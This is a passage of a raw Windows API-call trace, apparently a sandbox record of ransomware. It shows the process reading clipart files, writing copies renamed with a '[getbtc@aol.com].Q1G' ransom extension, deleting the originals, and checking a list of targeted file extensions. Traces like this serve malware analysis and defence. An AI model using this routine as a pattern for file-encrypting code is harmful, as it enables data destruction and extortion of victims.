CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.491] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=50490) returned 1 [0254.491] CloseHandle (hObject=0x200) returned 1 [0254.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 0x20 [0254.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.501] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.501] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.501] GetLastError () returned 0x0 [0254.501] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xc53a, lpOverlapped=0x0) returned 1 [0254.512] WriteFile (in: hFile=0x338, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xc540, lpOverlapped=0x0) returned 1 [0254.513] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.513] WriteFile (in: hFile=0x338, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.513] SetEndOfFile (hFile=0x338) returned 1 [0254.513] CloseHandle (hObject=0x338) returned 1 [0254.513] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.513] SetEndOfFile (hFile=0x3d0) returned 1 [0254.516] CloseHandle (hObject=0x3d0) returned 1 [0254.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0254.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0254.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0254.519] lstrlenW (lpString=".doc") returned 4 [0254.519] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.519] lstrlenW (lpString=".docx") returned 5 [0254.519] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0254.519] lstrlenW (lpString=".pdf") returned 4 [0254.519] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.519] lstrlenW (lpString=".xls") returned 4 [0254.519] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.519] lstrlenW (lpString=".xlsx") returned 5 [0254.519] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0254.519] lstrlenW (lpString=".ppt") returned 4 [0254.519] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0254.519] lstrlenW (lpString=".zip") returned 4 [0254.519] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.519] lstrlenW (lpString=".rar") returned 4 [0254.519] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.519] lstrlenW (lpString=".bz2") returned 4 [0254.519] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.519] lstrlenW (lpString=".7z") returned 3 [0254.519] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0254.519] lstrlenW (lpString=".dbf") returned 4 [0254.519] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0254.520] lstrlenW (lpString=".1cd") returned 4 [0254.520] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0254.520] lstrlenW (lpString=".jpg") returned 4 [0254.520] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0254.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0254.520] lstrlenW (lpString=".doc") returned 4 [0254.520] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.520] lstrlenW (lpString=".docx") returned 5 [0254.520] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0254.520] lstrlenW (lpString=".pdf") returned 4 [0254.520] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.520] lstrlenW (lpString=".xls") returned 4 [0254.520] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.520] lstrlenW (lpString=".xlsx") returned 5 [0254.520] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0254.520] lstrlenW (lpString=".ppt") returned 4 [0254.520] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0254.520] lstrlenW (lpString=".zip") returned 4 [0254.520] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.520] lstrlenW (lpString=".rar") returned 4 [0254.520] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.520] lstrlenW (lpString=".bz2") returned 4 [0254.520] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.520] lstrlenW (lpString=".7z") returned 3 [0254.520] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0254.520] lstrlenW (lpString=".dbf") returned 4 [0254.520] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0254.520] lstrlenW (lpString=".1cd") returned 4 [0254.520] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0254.521] lstrlenW (lpString=".jpg") returned 4 [0254.521] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.521] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0254.521] lstrlenW (lpString="J0099167.JPG") returned 12 [0254.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.521] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=43949) returned 1 [0254.521] CloseHandle (hObject=0x3d0) returned 1 [0254.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 0x20 [0254.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.522] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.522] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.523] GetLastError () returned 0x0 [0254.523] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xabad, lpOverlapped=0x0) returned 1 [0254.537] WriteFile (in: hFile=0x338, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xabb0, lpOverlapped=0x0) returned 1 [0254.538] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.538] WriteFile (in: hFile=0x338, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.538] SetEndOfFile (hFile=0x338) returned 1 [0254.538] CloseHandle (hObject=0x338) returned 1 [0254.539] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.539] SetEndOfFile (hFile=0x3d0) returned 1 [0254.541] CloseHandle (hObject=0x3d0) returned 1 [0254.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0254.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0254.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0254.542] lstrlenW (lpString=".doc") returned 4 [0254.542] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.542] lstrlenW (lpString=".docx") returned 5 [0254.542] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0254.542] lstrlenW (lpString=".pdf") returned 4 [0254.542] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.542] lstrlenW (lpString=".xls") returned 4 [0254.542] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.542] lstrlenW (lpString=".xlsx") returned 5 [0254.542] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0254.542] lstrlenW (lpString=".ppt") returned 4 [0254.542] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0254.542] lstrlenW (lpString=".zip") returned 4 [0254.542] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.542] lstrlenW (lpString=".rar") returned 4 [0254.542] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.543] lstrlenW (lpString=".bz2") returned 4 [0254.543] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.543] lstrlenW (lpString=".7z") returned 3 [0254.543] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0254.543] lstrlenW (lpString=".dbf") returned 4 [0254.543] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0254.543] lstrlenW (lpString=".1cd") returned 4 [0254.543] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0254.543] lstrlenW (lpString=".jpg") returned 4 [0254.543] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0254.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0254.543] lstrlenW (lpString=".doc") returned 4 [0254.543] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.543] lstrlenW (lpString=".docx") returned 5 [0254.543] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0254.543] lstrlenW (lpString=".pdf") returned 4 [0254.543] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.543] lstrlenW (lpString=".xls") returned 4 [0254.543] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.543] lstrlenW (lpString=".xlsx") returned 5 [0254.543] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0254.543] lstrlenW (lpString=".ppt") returned 4 [0254.543] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0254.543] lstrlenW (lpString=".zip") returned 4 [0254.543] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.543] lstrlenW (lpString=".rar") returned 4 [0254.543] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.543] lstrlenW (lpString=".bz2") returned 4 [0254.543] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.543] lstrlenW (lpString=".7z") returned 3 [0254.544] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0254.544] lstrlenW (lpString=".dbf") returned 4 [0254.544] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0254.544] lstrlenW (lpString=".1cd") returned 4 [0254.544] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0254.544] lstrlenW (lpString=".jpg") returned 4 [0254.544] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.544] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0254.544] lstrlenW (lpString="J0099168.JPG") returned 12 [0254.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.544] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=20179) returned 1 [0254.544] CloseHandle (hObject=0x3d0) returned 1 [0254.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 0x20 [0254.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.545] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.545] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.546] GetLastError () returned 0x0 [0254.546] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x4ed3, lpOverlapped=0x0) returned 1 [0254.729] WriteFile (in: hFile=0x338, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0254.730] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.730] WriteFile (in: hFile=0x338, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.730] SetEndOfFile (hFile=0x338) returned 1 [0254.730] CloseHandle (hObject=0x338) returned 1 [0254.730] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.730] SetEndOfFile (hFile=0x3d0) returned 1 [0254.732] CloseHandle (hObject=0x3d0) returned 1 [0254.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0254.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0254.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0254.762] lstrlenW (lpString=".doc") returned 4 [0254.762] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.762] lstrlenW (lpString=".docx") returned 5 [0254.762] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0254.762] lstrlenW (lpString=".pdf") returned 4 [0254.762] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.762] lstrlenW (lpString=".xls") returned 4 [0254.762] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.762] lstrlenW (lpString=".xlsx") returned 5 [0254.762] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0254.762] lstrlenW (lpString=".ppt") returned 4 [0254.762] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0254.762] lstrlenW (lpString=".zip") returned 4 [0254.762] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.762] lstrlenW (lpString=".rar") returned 4 [0254.762] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.762] lstrlenW (lpString=".bz2") returned 4 [0254.762] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.762] lstrlenW (lpString=".7z") returned 3 [0254.762] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0254.762] lstrlenW (lpString=".dbf") returned 4 [0254.762] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0254.763] lstrlenW (lpString=".1cd") returned 4 [0254.763] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0254.763] lstrlenW (lpString=".jpg") returned 4 [0254.763] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0254.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0254.763] lstrlenW (lpString=".doc") returned 4 [0254.763] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.764] lstrlenW (lpString=".docx") returned 5 [0254.764] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0254.764] lstrlenW (lpString=".pdf") returned 4 [0254.764] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.764] lstrlenW (lpString=".xls") returned 4 [0254.764] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.764] lstrlenW (lpString=".xlsx") returned 5 [0254.764] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0254.764] lstrlenW (lpString=".ppt") returned 4 [0254.764] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0254.764] lstrlenW (lpString=".zip") returned 4 [0254.764] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.764] lstrlenW (lpString=".rar") returned 4 [0254.764] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.764] lstrlenW (lpString=".bz2") returned 4 [0254.764] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.764] lstrlenW (lpString=".7z") returned 3 [0254.764] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0254.764] lstrlenW (lpString=".dbf") returned 4 [0254.764] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0254.764] lstrlenW (lpString=".1cd") returned 4 [0254.765] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0254.765] lstrlenW (lpString=".jpg") returned 4 [0254.765] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.765] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.765] lstrlenW (lpString="J0099174.WMF") returned 12 [0254.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.765] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=6214) returned 1 [0254.765] CloseHandle (hObject=0x3e0) returned 1 [0254.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 0x20 [0254.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft 